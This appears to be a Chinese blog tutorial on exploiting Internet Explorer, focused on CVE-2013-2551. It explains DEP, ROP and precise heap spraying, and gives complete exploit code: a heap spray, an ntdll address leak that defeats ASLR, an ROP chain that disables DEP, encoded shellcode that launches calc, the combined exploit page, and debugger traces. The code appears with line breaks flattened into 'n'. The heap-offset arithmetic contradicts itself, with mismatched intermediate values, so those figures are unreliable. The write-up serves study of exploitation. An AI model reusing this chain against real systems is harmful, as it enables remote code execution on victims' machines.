IE瀏覽器漏洞的花式利用(二)

相關鏈接:IE瀏覽器漏洞的花式利用(一) - 黑客生活 - 知乎專欄

在上一篇文章中,我們講了一些早期的 ie相關的漏洞的利用,從最基礎,最簡單的棧溢出漏洞的利用說起,到相對而言更加複雜的UAF 漏洞利用.透過這些漏洞利用的演變,我們彷彿可以看到人類社會由原始野蠻的社會向一個文明的社會的演變的一個縮影.針對IE的漏洞利用,最開始是使用棧溢出漏洞,棧溢出漏洞的利用非常的簡單粗暴,我們可以直接通過過長的字元串覆蓋掉函數的返回地址或者seh鏈的結構來直接的劫持掉程序的eip,控制程序的執行流程.在實際利用時,為了穩定性和簡便性,一般先使用 堆噴射 技術將我們的payload (nops + shellcode) 布置到一個可以預測的地址,這個地址一般是 0x0c0c0c0c ,之後將通過溢出把 eip 的值控制為 0x0c0c0c0c 實現,之後程序會跳入到 nops 塊中,最終執行到shellcode區,完成漏洞利用.可以看到這整個過程非常的簡單粗暴,用仙果的話來說就是這樣的漏洞利用」不優雅",後來UAF漏洞出現了,漏洞利用技術也變得優雅了起來,針對 UAF漏洞的利用,hacker 們的手法也比之前的棧溢出漏洞的利用手法,精細了不少,利用的套路是:等存在漏洞的對象被釋放後,申請一些大小與被釋放對象所佔內存大小相同的對象,實現"占坑",之後在修改那塊內存的數據(一般是開始4位元組,虛表),最後調用虛函數,觸發漏洞,劫持eip.可以很明顯的感受到整個漏洞利用的流程比之前要優雅了不少, hacker們需要小心的操縱內存的分配,以實現對那塊釋放的內存的重利用.當然這整個過程還是有"不優雅"的地方,在漏洞利用的最後階段,我們利用的還是最開始的那一種布置shellcode的方法,就直接大量地噴射內存,不管三七二十一把eip設為 0x0c0c0c0c 實現漏洞的利用.這種方式在沒有 DEP 的情況下還是可取的.但是 DEP 爸爸一來,什麼都變了.

那麼DEP到底啥呢?DEP(數據執行保護,Data Execution Prevention)的基本原理是將數據所在的內存頁標識為不可執行,當程序溢出成功轉入ShellCode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令.而我們之前的漏洞利用的最後一步都是直接跳到數據區去執行代碼的,這樣在DEP作用下我們先前所有的漏洞利用都會被操作系統終結到最後一步,是不是很氣...我覺得當時的hacker們一定是非常無奈的(我都搞定eip了,你卻不讓我執行我的代碼,你逗我玩呢...),但 hacker的信條里沒有"放棄"這個詞,有的只是"突破一切".一段時間的困惑之後,有些聰明hacker發現,你不是不讓我執行我的數據嗎,那好我就不執行我的數據,我執行你程序自身的數據總可以了吧,應為程序自身肯定是需要執行代碼的,於是我們可以通過重用程序的代碼把他們拼接起來最終實現我們需要的功能.這種技術被稱為ROP(Return Oriented Programming,返回導向編程).關於ROP技術詳細介紹,利用的方式網上已有大量的文章進行了說明,請不熟悉的讀者自行百度,在這裡就不贅述了^_^.

對於DEP,現在我們就有了ROP這一技術來對其進行繞過.引入了ROP技術的同時,也引入新的問題,大多數情況下我們不會用rop鏈來實現我們shellcode所需的功能,更通用的方式是通過調用一些系統提供的可以設置內存屬性的函數來將shellcode所在內存區域設置為可執行屬性,這樣一來我們就能執行我們的輸入數據了^_^ .我們知道用於rop的一些代碼段(我們稱之為gadgets) 是一些以 ret指令結尾的代碼片段.而 ret 指令是對棧上的數據進行操作的,而現實是我們現在獲得的ie漏洞基本沒有可以控制棧數據的了.我們能控制的只有堆上面的數據(通過使用"堆噴射"技術),這時我們要用到一個有趣的指令: xchg reg ,esp 這樣的一條指令作用是交換 reg寄存器與esp寄存器的值.而在一些堆相關的漏洞中我們往往能控制至少一個寄存器的值,設想一下我們將某個寄存器的值設為 0x0c0c0c0c (沒錯又是這個有趣的地址) ,再使用一條xchg指令將esp的值和該寄存器的值互換,這樣一來程序的棧就變成了我們可控的地方了,漏洞利用是不是又變得優雅了一些.

現在還剩下最後一個問題:在我們成功執行rop鏈設置shellcode所在內存為可執行屬性之前,我們沒有辦法執行堆上的數據的,所以在我們使用類似於xchg reg ,esp 的指令切換好棧後,我們ret的地址必須是在rop鏈的第一個地址.要解決這個問題就要用到"精準的堆噴射"技術.我們知道動態申請的內存的地址是不斷變化的,所以位於 0x0c0c0c0c地址處的數據也應該是會變化的,所謂的"精準的堆噴射"就是使用一些特殊的堆布局使得位於0x0c0c0c0c處的數據為一個恆定的值,這樣一來,在ie 中使用rop的又一道難關被突破.下面來實戰下"精準的堆噴射"吧^__^.

先來一個可以在ie8上進行堆噴射的腳本:

<head>n<script>n// [ Shellcode ]nvar shellcode = "xccxcc"nnvar fill = unescape("%u0c0c%u0c0c");nwhile (fill.length < 0x1000){nfill += fill;n}nn// [ fill each chunk with 0x1000 bytes ]nevilcode = shellcode + fill.substring(0, 0x800 - shellcode.length);n// [ repeat the block to 512KB ]nwhile (evilcode.length < 0x40000){nevilcode += evilcode;n}n// [ substring(2, 0x40000 - 0x21) - IE8 ]nvar block = evilcode.substring(2, 0x40000 - 0x21);n// [ Allocate 200 MB ]nvar slide = new Array();nfor (var i = 0; i < 400; i++){nslide[i] = block.substring(0, block.length);n}nalert(1);n</script>n</body>n</html>n

彈出彈框(為了便於調試,相當於下個斷點)時用調試器附加上,看看內存的布局

可以看到我們已經能夠將數據噴射到 0x0c0c0c0c 這個地址處了.下一步我們該做的就是控制0x0c0c0c0c這個地址處的值.基於前輩們的努力,我們可以使用以下方法控制該處的值.具體的做法如下

1.當完成堆的噴射之後,查看0x0C0C0C0C所在的堆塊的屬性.做法是:在完成堆噴射後,使用windbg附加上ie,輸入:"!heap -p -a 0c0c0c0c"命令

2.來一波數學計算吧^__^.

以看出,0x0C0C0C0C所在堆塊的UserPtr為0x0c050020,可以計算:

0x0C0C0C0C - 0x0c050020 = 0x70BECn0x50BEC / 2 = 0x385F6n0x285F6 % 0x1000 = 0x5F6n

其中第一個表達式求出0x0C0C0C0C到UserPtr的距離,因為JavaScript中字元串是Unicode形式的,所以在第二個表達式中我們進行了除以2的操作,又因為堆塊的對齊粒度是0×1000,所以將結果對0×1000進行取余。注意每一次查看0x0C0C0C0C所在堆塊的UserPtr會不盡相同,但是在特定的環境下計算出來的最終結果基本是一致的,於是堆中每一塊0×1000大小的數據看起來如圖所示:

我們通過把每個0×1000大小的數據塊,以上圖所示的樣子布局就能控制好 0x0c0c0c0c 處的值

修改後堆噴射腳本為:

<HTML>n<head>n<script>n// [ Shellcode ]nvar shellcode = unescape("%u4242%u4242");nvar rop_chains = unescape("%u4141%u4141");nnvar fill = unescape("%u0c0c%u0c0c");nwhile (fill.length < 0x1000){nfill += fill;n}n// [ padding offset ]npadding = fill.substring(0, 0x5F6);n// [ fill each chunk with 0x1000 bytes ]nevilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);n// [ repeat the block to 512KB ]nwhile (evilcode.length < 0x40000){nevilcode += evilcode;n}n// [ substring(2, 0x40000 - 0x21) - IE8 ]nvar block = evilcode.substring(2, 0x40000 - 0x21);n// [ Allocate 200 MB ]nvar slide = new Array();nfor (var i = 0; i < 400; i++){nslide[i] = block.substring(0, block.length);n}nalert(1);n</script>n</body>n</html>n

效果就是:

可以看到現在的0x0c0c0c0c處的值恰好為rop鏈的開頭。又一個難關被攻克。

下面進入今天的這個漏洞,今天要完成漏洞利用的漏洞是:CVE-2013-2551 IE COALineDashStyleArray 整數溢出漏洞。

漏洞產生的原理是:

在更改dashstyle數組的長度時,程序會將重新設置的長度與當前數組長度進行比較,如果大於當前數組長度就會重新分配一塊內存來存儲數組。小於的話就不分配內存。而在進行長度值比較時,使用的是有符號比較,所以當我們將長度設為0-1=0xffffffff時,就會發生整數溢出,使得不重新分配內存,但是數組的長度已經變大,於是我們就能越界讀寫相鄰的內存了。

那麼我們應該怎麼利用這種漏洞呢?套路是,分配大量的其他的對象,在他們的中間插入一個存在越界讀寫漏洞的對象(在這裡是dashstyle數組)。之後觸發漏洞,讀取相鄰對象的一些特殊的結構,來計算模塊基地址繞過ASLR ,構造rop鏈,之後再次觸發漏洞,將相鄰對象的虛表指針修改以控制程序的執行流程。

具體到這個漏洞的做法是:

1.通過構造0x400個COARuntimeStyle對象,在第0x301處創建一個包含44個元素的dashstyle數組.這樣一來會分配4*44=0xb0大小的ORG數組.這樣一來ORG數組和COARuntimeStyle對象就會相鄰,此時利用漏洞越界訪問到位於COARuntimeStyle對象偏移0x58的字元串(即marginLeft 屬性值)的地址,之後將其地址設置為0x7ffe0300,在這個地址處存放的值與ntdll.dll模塊的基地址有一個固定的偏移,這樣我們再讀取marginLeft 屬性值就能讀到那個有固定偏移的值,在通過計算我們可以得到ntdll.dll模塊基地址繞過aslr. poc中的相關代碼如下:

vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;nvar leak = a[i].marginLeft;n

2.通過第一步中泄露出來的基地址,使用ntdll模塊中的指令構造出 rop鏈來調用ntdll!ZwProtectVirtualMemory 函數將shellcode地址設置為可讀可寫可執行許可權,從而繞過 DEP ,並利用"精準堆噴射"技術將rop鏈的開頭噴射到 0x0c0c0c0c這個地址處,再次的觸發漏洞,修改對象的虛表,從而獲得代碼執行.覆蓋虛表的關鍵代碼如下:

vml1.dashstyle.array.length = 0 - 1;nvml1.dashstyle.array.item(6) = 0x0c0c0c0c;n

先來看看實現信息泄露的poc代碼:

<html>n<head>n<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >n</head>n<title>nms13_037n</title>n<!-- Include the VML behavior -->n<style>v: * { behavior:url(#default#VML); display:inline-block }</style>nn<!-- Declare the VML namespace -->n<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />n<script>nvar rect_array = new Array()nvar a = new Array()nnfunction createRects(){nfor(var i=0; i<0x400; i++){nrect_array[i] = document.createElement("v:shape")nrect_array[i].id = "rect" + i.toString()ndocument.body.appendChild(rect_array[i])n}n}nnfunction getNtdllBase(){nnvar vml1 = document.getElementById("vml1")nvar shape = document.getElementById("shape")nnfor (var i=0; i<0x400; i++){ttttttttt //set up the heapna[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;n}nnfor (var i=0; i<0x400; i++){na[i].rotation; //create a COARuntimeStylenif (i == 0x300) { //allocate an ORG array of size B0hnvml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"n}n}nnvar length_orig = vml1.dashstyle.array.length;nvml1.dashstyle.array.length = 0 - 1;nnnfor (var i=0; i<0x400; i++) {na[i].marginLeft = "a";nmarginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);nnnif (marginLeftAddress > 0) {nnvml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;nvar leak = a[i].marginLeft;nvml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;nvml1.dashstyle.array.length = length_orig;nntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 290992;nalert(ntdll_base.toString(16));nbreak;n}nn}nnreturn ntdll_base;n}nn</script>n<body onload="createRects();">n<v:oval>n<v:stroke id="vml1"/>n</v:oval>n<v:oval>n<v:stroke dashstylex="2 2 2 0 2 2 2 0" id="shape"/>n</v:oval>n<input value="GetNtdllBaseAddr"type="button" onclick="getNtdllBase();"></input>n</body>n</html>n

和先前說的一樣通過vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300將marginLeft屬性值的地址設為0x7ffe0300,之後通過讀取marginLeft屬性值獲取 0x7ffe0300處四位元組數據,減去0x470b0(即290992,同時dll版本不同偏移也不一樣)得到ntdll的基地址,來看看效果:

可以看到我們的信息泄露時成功的,我們再從調試器的角度來驗證下這個計算公式是否正確.附加進程斷下後,查看 0x7ffe0300處的數據:

0:015> dd 0x7ffe0300n7ffe0300 775e70b0 775e70b4 00000000 00000000n7ffe0310 00000000 00000000 00000000 00000000n7ffe0320 0006330e 00000000 00000000 00000000n7ffe0330 cffa5133 00000000 00000dd0 00000000n7ffe0340 00000000 00000000 00000000 00000000n7ffe0350 00000000 00000000 00000000 00000000n7ffe0360 00000000 00000000 00000000 00000000n7ffe0370 00000000 00000000 00000000 00000000n

0x775e70b0-0x470b0 = 0x775a0000等於模塊基地址,說明成功.現在我們已經得到了ntdll模塊基地址於是我們就能構造我們的rop鏈了.下面我們將使用先前得到的模塊基地址構造rop鏈之後再用」精準的堆噴射」技術將rop 鏈精準的布置到0x0c0c0c0c處.由於先前已經介紹了獲取基地址的方式,這裡直接定義基地址的值以減少篇幅.噴射代碼:

<html>n<head>n<script>nnfunction getRealAddr(base ,offect){nvar real_addr = base + offect;nvar str = real_addr.toString(16);nvar s1 = str.substring(0,4);nvar s2 = str.substring(4,8);nreturn "%u" + s2 + "%u" + s1n}nnnvar ntdll_base = 0x775a0000;nnstack_pivot = getRealAddr(ntdll_base,0x0001578a);//# ret # from ntdllnstack_pivot += getRealAddr(ntdll_base,0x000096c9);//# pop ebx # ret # from ntdllnstack_pivot += getRealAddr(ntdll_base,0x00015789);// # xchg eax, esp # ret from ntdllnnnntdll_rop = getRealAddr(ntdll_base ,0x45F18);//# ntdll!ZwProtectVirtualMemorynnntdll_rop += "%u0c40%u0c0c";nntdll_rop += "%uffff%uffff";nntdll_rop += "%u0c34%u0c0c";nntdll_rop += "%u0c38%u0c0c";nntdll_rop += "%u0c40%u0c0c";nntdll_rop += "%u0c3c%u0c0c";nntdll_rop += "%u0c40%u0c0c";nntdll_rop += "%u0400%u0000";nntdll_rop += "%u4141%u4141";nnrop_chains = unescape(stack_pivot + ntdll_rop);nn//heapspray n// [ Shellcode ]nvar shellcode = unescape(n"%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +n"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +n"%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +n"%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +n"%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +n"%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +n"%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +n"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +n"%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +n"%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +n"%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +n"%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +n"%u6c61%u2e63%u7865%u0065");nnvar fill = unescape("%u0c0c%u0c0c");nwhile (fill.length < 0x1000){nfill += fill;n}n// [ padding offset ]npadding = fill.substring(0, 0x5F6);n// [ fill each chunk with 0x1000 bytes ]nevilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);n// [ repeat the block to 512KB ]nwhile (evilcode.length < 0x40000){nevilcode += evilcode;n}n// [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]nvar block = evilcode.substring(2, 0x40000 - 0x21);n// [ Allocate 200 MB ]nvar slide = new Array();nfor (var i = 0; i < 400; i++){nslide[i] = block.substring(0, block.length);n}nnalert("heapspray done");nn</script>n</head>n</html>n

對比腳本代碼,我們知道堆噴射也成功了.位於0x0c0c0c0c地址處的數據恰好是rop的開頭.前面代碼的rop鏈構造的有些奇怪,和我開頭所說的有點不同,它在xchg指令之前還有一些指令,這是為什麼呢? 其實這是根據漏洞實際情況來構造的.我們看看劫持程序時的一個情景:

0:014> gn(430.99c): Access violation - code c0000005 (first chance)nFirst chance exceptions are reported before any exception handling.nThis exception may be expected and handled.neax=41414141 ebx=1260773c ecx=12d0b010 edx=00000c8d esi=12607750 edi=12607738neip=6ca5f20f esp=024eb5d0 ebp=024eb608 iopl=0 nv up ei pl nz na po ncncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WindowsSystem32mshtml.dll - nmshtml!Ordinal104+0x4ec70:n6ca5f20f ff5008 call dword ptr [eax+8] ds:0023:41414149=????????n0:005> unmshtml!Ordinal104+0x4ec70:n6ca5f20f ff5008 call dword ptr [eax+8]n6ca5f212 ebf7 jmp mshtml!Ordinal104+0x4ec6c (6ca5f20b)n6ca5f214 90 nopn6ca5f215 90 nopn6ca5f216 90 nopn6ca5f217 90 nopn6ca5f218 90 nopn6ca5f219 8b425c mov eax,dword ptr [edx+5Ch]n

這裡的eax的值就是通過 vml1.dashstyle.array.item(6) = 0x41414141 設置的,設置成0x41414141的目的是為了便於分析劫持程序流程時的一些情況.可以看到eax的值就是我們設置的.程序最終會調用call dword ptr [eax+8]  指令來實現虛函數調用.我們來將eax假定為 0x0c0c0c0c ,對照著rop鏈來推理一波

rop鏈:

stack_pivot = getRealAddr(ntdll_base,0x0001578a);//# ret # from ntdll    <---------0x0c0c0c0cnstack_pivot += getRealAddr(ntdll_base,0x000096c9);//# pop ebx # ret # from ntdllnstack_pivot += getRealAddr(ntdll_base,0x00015789);// # xchg eax, esp # ret from ntdllnntdll_rop = getRealAddr(ntdll_base ,0x45F18);//# ntdll!ZwProtectVirtualMemorynntdll_rop += "%u0c40%u0c0c";//# ret to shellcodenntdll_rop += "%uffff%uffff";//nntdll_rop += "%u0c34%u0c0c";nntdll_rop += "%u0c38%u0c0c";nntdll_rop += "%u0c40%u0c0c";nntdll_rop += "%u0c3c%u0c0c";nntdll_rop += "%u0c40%u0c0c";nntdll_rop += "%u0400%u0000";nntdll_rop += "%u4141%u4141";nrop_chains = unescape(stack_pivot + ntdll_rop);n

eax=0x0c0c0c0c 那麼call dword ptr [eax+8] 程序就會去執行 # xchg eax, esp # ret  , xchg eax,esp後,esp指向了0x0c0c0c0c,再來一個ret ,,就會跳轉到另一個ret指令,然後進入下一條rop指令,# pop ebx # ret ,這樣一個pop就將我們剛才執行過的xchg指令繞過了。

再來一個ret,我們就會跳轉到ntdll!ZwProtectVirtualMemory函數,執行,函數的參數已經布置好了。函數執行完畢時,我們的shellcode所在的內存區域就會被設置為可執行,並會跳轉到shellcode這樣就繞過了DEP。我們來實際調試下這樣的一段rop指令。改怎麼調試呢?我們可以在0x0c0c0c14處下 硬體讀取斷點。因為位於0x0c0c0c14處的值就是xchg指令的地址,一般而言這種ie的rop鏈第一步就是使用類似於 xchg指令來把堆偽造成棧。所以我們在這下斷點。

這裡使用的poc(同樣為了簡便,將沒有使用信息泄露,直接硬編碼了ntdll模塊基地址,這個需要修改):

<html>n<head>n<script>nnfunction getRealAddr(base ,offect){nvar real_addr = base + offect;nvar str = real_addr.toString(16);nvar s1 = str.substring(0,4);nvar s2 = str.substring(4,8);nreturn "%u" + s2 + "%u" + s1n}nnnvar ntdll_base = 0x775a0000;nnstack_pivot = getRealAddr(ntdll_base,0x0001578a);nstack_pivot += getRealAddr(ntdll_base,0x000096c9);nstack_pivot += getRealAddr(ntdll_base,0x00015789);nnnntdll_rop = getRealAddr(ntdll_base ,0x45F18);nnntdll_rop += "%u0c40%u0c0c";nntdll_rop += "%uffff%uffff";nntdll_rop += "%u0c34%u0c0c";nntdll_rop += "%u0c38%u0c0c";nntdll_rop += "%u0c40%u0c0c";nntdll_rop += "%u0c3c%u0c0c";nntdll_rop += "%u0c40%u0c0c";nntdll_rop += "%u0400%u0000";nntdll_rop += "%u4141%u4141";nnnrop_chains = unescape(stack_pivot + ntdll_rop);nn//heapspray n// [ Shellcode ]nvar shellcode = unescape(n"%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +n"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +n"%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +n"%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +n"%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +n"%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +n"%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +n"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +n"%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +n"%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +n"%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +n"%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +n"%u6c61%u2e63%u7865%u0065");nnvar fill = unescape("%u0c0c%u0c0c");nwhile (fill.length < 0x1000){nfill += fill;n}n// [ padding offset ]npadding = fill.substring(0, 0x5F6);n// [ fill each chunk with 0x1000 bytes ]nevilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);n// [ repeat the block to 512KB ]nwhile (evilcode.length < 0x40000){nevilcode += evilcode;n}n// [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]nvar block = evilcode.substring(2, 0x40000 - 0x21);n// [ Allocate 200 MB ]nvar slide = new Array();nfor (var i = 0; i < 400; i++){nslide[i] = block.substring(0, block.length);n}nnalert("heapspray done");nn</script>n<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >n</head>n<title>n</title>n<style>v: * { behavior:url(#default#VML); display:inline-block }</style>n<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />n<script>nnvar rect_array = new Array()nvar a = new Array()nnfunction createRects(){nfor(var i=0; i<0x1000; i++){nrect_array[i] = document.createElement("v:shape")nrect_array[i].id = "rect" + i.toString()ndocument.body.appendChild(rect_array[i])n}n}nnfunction exploit(){nnvar vml1 = document.getElementById("vml1")nnfor (var i=0; i<0x1000; i++){na[i] = document.getElementById("rect" + i.toString())._anchorRect;nif (i == 0x800) {nvml1.dashstyle = "1 2 3 4"n}n}nnvml1.dashstyle.array.length = 0 - 1;nvml1.dashstyle.array.item(6) = 0x0c0c0c0c;nnfor (var i=0; i<0x1000; i++)n{ndelete a[i];nCollectGarbage();n}nlocation.reload();nn}nn</script>n<body onload="createRects(); exploit();">n<v:oval>n<v:stroke id="vml1"/>n</v:oval>n</body>n</html>n

rop鏈的調試過程如下:

0:014> ba r4 0c0c0c14n0:014> gnBreakpoint 0 hitneax=0c0c0c0c ebx=1264d864 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860neip=775b5789 esp=0243b1b4 ebp=0243b1f0 iopl=0 nv up ei pl nz na po ncncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202nntdll!RtlAddSIDToBoundaryDescriptor+0x3b1:n775b5789 94 xchg eax,espn0:005> pneax=0243b1b4 ebx=1264d864 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860neip=775b578a esp=0c0c0c0c ebp=0243b1f0 iopl=0 nv up ei pl nz na po ncncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202nntdll!RtlAddSIDToBoundaryDescriptor+0x3b2:n775b578a c3 retn0:005> pneax=0243b1b4 ebx=1264d864 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860neip=775b578a esp=0c0c0c10 ebp=0243b1f0 iopl=0 nv up ei pl nz na po ncncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202nntdll!RtlAddSIDToBoundaryDescriptor+0x3b2:n775b578a c3 retn0:005> pneax=0243b1b4 ebx=1264d864 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860neip=775a96c9 esp=0c0c0c14 ebp=0243b1f0 iopl=0 nv up ei pl nz na po ncncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202nntdll!RtlLockMemoryBlockLookaside+0x88:n775a96c9 5b pop ebxn0:005> pnBreakpoint 0 hitneax=0243b1b4 ebx=775b5789 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860neip=775a96ca esp=0c0c0c18 ebp=0243b1f0 iopl=0 nv up ei pl nz na po ncncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202nntdll!RtlLockMemoryBlockLookaside+0x89:n775a96ca c3 retn0:005> pneax=0243b1b4 ebx=775b5789 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860neip=775e5f18 esp=0c0c0c1c ebp=0243b1f0 iopl=0 nv up ei pl nz na po ncncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202nntdll!ZwProtectVirtualMemory:n775e5f18 b8d7000000 mov eax,0D7hn可以看到rop鏈如我們預期的那樣運行著.我們再在 0c0c0c40處下斷點,因為這裡時shellcode的起始地址,我們看看DEP是否關閉成功:n0:005> bp 0c0c0c40n0:005> gnBreakpoint 1 hitneax=c0000045 ebx=775b5789 ecx=0c0c0c18 edx=775e70b4 esi=1264d878 edi=1264d860neip=0c0c0c40 esp=0c0c0c34 ebp=0243b1f0 iopl=0 nv up ei pl nz na po ncncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202n0c0c0c40 fc cldn0:005> pneax=c0000045 ebx=775b5789 ecx=0c0c0c18 edx=775e70b4 esi=1264d878 edi=1264d860neip=0c0c0c41 esp=0c0c0c34 ebp=0243b1f0 iopl=0 nv up ei pl nz na po ncncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202n0c0c0c41 e889000000 call 0c0c0ccfn

可以看到是成功的,我們已經能執行堆中的數據了^__^ ,此時按下g 我們的計算器就彈出來了

這樣,這個漏洞的漏洞利用就被我們分段的完成了,我們回過頭來看看整個漏洞利用過程。首先我們通過數組越界修改對象的屬性值地址,讀到了一個值,通過這個值計算出了ntdll模塊的基地址,並通過該基地址構造出rop鏈,之後又再次觸發了漏洞,修改對象虛表指針,劫持程序執行流,完成了整個漏洞利用。這其中的每一步都是那麼精妙,可以說只要稍微有點偏差,整個漏洞利用就會失敗。可以說這樣的漏洞利用真正的可以配得上"優雅"這個詞語了。整個漏洞利用的一個連貫過程,metasploit上實現的非常棒,我們來看看效果。

可以看到metasploit把漏洞利用玩的像一件藝術品一樣,厲害!
推薦閱讀:

我拒絕了軟文,卻感到了悲哀
新達達與沃爾瑪的戰略聯姻:傳統零售觸網的第二條道路
收購ARM是軟銀迄今最大也是最大膽的一筆投資
老玩家自製魔獸世界全景展示 如此高端!!
【互聯網流量運營研究聯盟】成立儀式暨第一屆理事會會議圓滿結束

TAG:二进制 | 漏洞挖掘 | 互联网 |